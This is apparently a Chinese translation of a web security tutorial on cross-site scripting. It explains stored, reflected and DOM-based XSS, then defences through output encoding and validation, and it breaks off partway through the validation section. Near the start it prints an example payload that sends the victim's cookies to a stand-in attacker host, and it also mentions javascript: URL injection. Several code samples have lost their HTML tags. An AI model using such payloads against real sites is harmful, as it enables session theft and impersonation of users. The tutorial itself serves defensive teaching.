Cross-site scripting(XSS)是一种能够在他人浏览器中执行恶意 JavaScript代码的代码注入攻击。
攻击者不需要直接接触受害者。他可以直接利用受害者访问的网站的漏洞来让恶意代码在其浏览器中执行。对于受害者的浏览器来说,恶意的 JavaScript 代码表现的就像是网站合法的一部分,而网站的行为也完全不像是攻击者的帮凶。
让攻击者能在受害者浏览器上运行恶意代码的唯一方式就是在受害者要访问的网站中的某一个页面里注入代码。这会发生在网站直接在它的页面中包含加载了用户输入,这样攻击者就可以在页面中插入字符串,这段字符串会被受害者的浏览器当做代码执行。
在下面的例子中,一个简单的服务器脚本被用来展示网站上最新的评论:
print ""
print "Latest comment:"
print database.latestComment
print ""
这段脚本假设评论仅包含文本。然而,用户输入被直接加载了,攻击者可以提交这样的评论:省去恶意代码的细节。这表明能被注入代码的地方才是问题所在,而不是被执行的恶意代码。
在我们描述 XSS 攻击的细节前,我们需要定义 XSS 攻击中涉及到的角色。事实上,一次 XSS 攻击涉及3个角色:网站、受害者和攻击者 。
在这个例子中,我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现:
<script>
window.location='http://attacker/?cookie='+document.cookie
script>
这段代码将用户浏览器导航到一个不同的 URL,触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中,这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies,他就可以利用它来伪装成受害者,开展后续攻击。
从现在开始,上面这段代码将被称为恶意字符串或恶意脚本。
下面的图展示了攻击者是如何开展示例攻击的:
尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码,完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类:
上一个例子里展示了持久化 XSS 攻击。现在我们将描述另外两种类型的 XSS 攻击:反射式 XSS 和 基于 DOM 的 XSS。
在反射式 XSS 攻击中,恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程:
1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。
2.受害者被欺骗,向网站发送 URL。
3.网站从 URL 中加载恶意代码作为响应。
4.受害者浏览器执行响应中的恶意代码,发送受害者的 cookies 到攻击者的服务器。
首先反射式 XSS 看起来危害更小,因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己,这看起来没办法实施这种攻击。
然而事实证明,至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。
这两种方法是相似的,并且在使用短链的情况下更可能成功,短链能遮挡住恶意字符串,防止被用户识别出来。
基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中,恶意字符串并没有被受害者的浏览器解析,直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景:
1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。
2.受害者被攻击者欺骗,向网站发送 URL。
3.网站收到了请求,但并没有将恶意字符串包含在响应中。
4.受害者的浏览器执行了响应中的合法代码,造成恶意脚本被插入页面。
5.受害者的浏览器执行了页面中的恶意脚本,发送了受害者的 cookies 到攻击者的服务器。
###基于 DOM 的 XSS 攻击不同的地方
在之前的关于持久化和映射的 XSS 攻击的例子中,服务器在页面中插入了恶意脚本,这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后,它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。
然而在基于 DOM 的 XSS 攻击示例中,没有恶意代码被插入到页面中;唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML
插入页面的,它将会被解析成 HTML,造成恶意脚本被执行。
不同之处很微妙但也很重要:
在之前的例子中,JavaScript 并不是必要的;服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的,网站就不会受到 XSS 攻击。
然而,随着 Web 应用变得更加高级,HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变,这种更新必须通过 JavaScript 执行。更为具体的,这种情况下,页面是通过一个 AJAX 请求后更新的。
这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码,也会出现在客户端的 JavaScript 代码。因此,即使你的服务端代码是完全安全的,客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了,客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。
##基于 DOM 的 XSS 对于服务端是不可见的
在基于 DOM 的 XSS 攻击中有一个非常特殊的地方,那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码,所以服务器也就没有办法利用服务端代码进行检查。然而,客户端代码会用不安全的方式来处理它,从而导致 XSS 漏洞。
XSS 攻击实质上是一种代码注入:用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入,安全输入的处理是有必要的。对于 Web 开发者来说,有两种基本的方式来进行安全输入检查:
这是很基础的预防 XSS 的方法,它们有几点共同的特征,理解这些是非常重要的:
在解释如何编码和验证的工作细节之前,我将先描述一下这些关键点。
在网页中,用户输入可能会插入的地方会有许多上下文。对于每一种上下文,都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。
在上面提到的上下文中,用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。
例如,网站如果直接将用户输入作为 HTML 属性插入,攻击者便能够通过在输入起始处输入引号来注入恶意代码,如下所示:
这是可以通过简单地删除所有用户输入中的引号避免的,仅仅在这种上下文中。如果同样的输入被注入到另一处上下文,结尾分隔符可能会改变,注入就很难成功了。因此,安全输入检查往往需要根据用户输入在哪被注入来进行定制。
直观上看,好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式,任何恶意字符串都应该在被包含进页面时被过滤了。
就像上文提到的,问题在于,用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中,而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法,并会导致一系列问题。(已经被废弃的 PHP 特性"magic quotes" 就是一个典型的例子。)
然而出站输入处理应该成为你对抗 XSS 的基本方法,因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线,我们会在之后讨论。
在大多数现代的网站应用中,用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击,安全输入检查必须同时在客户端和服务端进行。
编码是一种转义用户输入的操作,使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义,这将把字符 ’<‘ 和 '>'分别转义成 ‘<’ 和 ‘>’ 。
下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的:
print ""
print "Latest comment: "
print encodeHtml(userInput)
print ""
如果用户输入时字符串
<html>
Latest comment:
<script>...</script>
html>
因为有特殊含义的字符串都被转义了,浏览器将不会解释执行任何用户输入。
####在客户端和服务端的编码
对客户端代码进行编码时,使用的语言一般是 JavaScript,它有内置函数来对不同上下文的数据编码。
对服务端代码进行编码时,你依赖服务端使用的语言或框架提供的函数。因为有大量的语言和框架可用,本篇教程将不会覆盖任何特定服务端语言或框架的编码细节。然而,当你在写服务端代码时,和客户端的 JavaScript 相似的编码函数是有用的。
当在客户端使用 JavaScript 编码用户输入时,有几种内置方法和属性可以通过上下文敏感的方式自动编码所有数据:
上文提到的最后一个上下文(JavaScript 值)没有被包含进该表中,因为 JavaScript 并没有提供内置的方法来编码被包含进 JavaScript 源代码的数据。
即使有编码,仍然有可能将恶意字符串注入一些上下文中。一个典型的例子就是用户输入被用来提供 URLs,例如下面这个例子:
document.querySelector('a').href = userInput
即使赋值给 ‘href’ 属性会自动编码,使得所赋的值仅仅是一个属性值,这将无法阻止攻击者插入一段“javascript:”开头的 URL。当该链接被点击后,嵌入其中的 javascript 代码将会执行。
当你真的想让用户定义部分页面代码时,编码是一个不充分的解决方案。例如在用户的个人主页中,用户可以自定义 HTML。如果自定义的 HTML 被编码了,个人主页就只能包含纯文本。
在这种情况下,编码就需要验证来补充,这就是我们接下来会描述的。
验证是一种过滤用户输入的操作,它将恶意部分删除,保留必要的部分。在 web 开发中最常使用的验证方式之一就是允许一些 HTML 元素(例如 和 )禁止其它的(例如